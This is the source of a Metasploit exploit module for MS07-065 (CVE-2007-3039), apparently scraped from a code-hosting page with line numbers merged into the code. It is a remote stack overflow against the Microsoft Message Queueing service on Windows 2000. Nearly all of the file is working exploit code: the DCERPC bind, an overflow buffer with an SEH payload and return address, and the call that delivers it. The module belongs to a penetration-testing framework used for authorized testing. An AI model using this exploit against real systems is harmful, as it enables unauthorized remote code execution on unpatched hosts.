Path: blob/master/modules/exploits/windows/dcerpc/ms07_065_msmq.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the RPC interface18to the Microsoft Message Queueing service. This exploit requires19the target system to have been configured with a DNS name and20for that name to be supplied in the 'DNAME' option. This name does21not need to be served by a valid DNS server, only configured on22the target machine.23},24'Author' => [ 'hdm' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2007-3039'],28[ 'OSVDB', '39123'],29[ 'MSB', 'MS07-065'],30],31'Privileged' => true,32'Payload' => {33'Space' => 1024,34'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",35'StackAdjustment' => -3500,3637},38'Platform' => %w{win},39'Targets' => [40[41'Windows 2000 Server English',42{43'Platform' => 'win',44'Ret' => 0x75022ac4 # ws2help - pop/pop/ret45},46],47],48'DisclosureDate' => '2007-12-11',49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758# Change the default port values to point at MSMQ59register_options(60[61Opt::RPORT(2103),62OptString.new('DNAME', [ true, "The DNS hostname of the target" ]),63]64)65end6667def autofilter68# Common vulnerability scanning tools report port 445/13969# due to how they test for the vulnerability. Remap this70# back to 2103 for automated exploitation7172rport = datastore['RPORT'].to_i73if (rport == 445 or rport == 139)74datastore['RPORT'] = 210375end7677# The fqdn is required to exploit this bug78if (not datastore['DNAME'])79# XXX automatically determine the hostname80return false81end8283true84end8586def exploit87connect88print_status("Trying target #{target.name}...")8990handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])91print_status("Binding to #{handle} ...")92dcerpc_bind(handle)93print_status("Bound to #{handle} ...")9495dname = datastore['DNAME']9697boom = rand_text_alphanumeric(4096)9899hname, domain = dname.split(".")100101if (not domain)102print_status("The DNAME parameter specified is not valid.")103print_status("This option must be the fully-qualified domain name of the target (as it has been configured).")104return105end106107off = 310 - (hname.length * 2)108109seh = generate_seh_payload(target.ret)110boom[off, seh.length] = seh111112buff = Rex::Text.to_unicode("#{dname}\\")113buff << boom114buff << "\x00\x00"115116# Data alignment117while (buff.length % 4 != 0)118buff << "\x00"119end120121stubdata =122NDR.long(1) + # [in] long arg_1,123NDR.UnicodeConformantVaryingStringPreBuilt(buff) + # [in][string] wchar_t * arg_2,124NDR.long(0) * 5 # ... fields we can ignore125126print_status('Sending exploit...')127128begin129response = dcerpc.call(6, stubdata)130131if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)132case dcerpc.last_response.stub_data133when "\x14\x00\x0e\xc0"134print_error("Error: The wrong value has been supplied for the DNAME parameter")135print_error("This value must be the fully-qualified domain name of the target")136print_error("Many systems have no FQDN configured and cannot be exploited")137else138print_status("An unknown response was received from the server:")139print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])140end141end142rescue Rex::Proto::DCERPC::Exceptions::NoResponse143print_status("No response from the DCERPC service (this is usually a good thing).")144end145146handler147disconnect148end149end150151152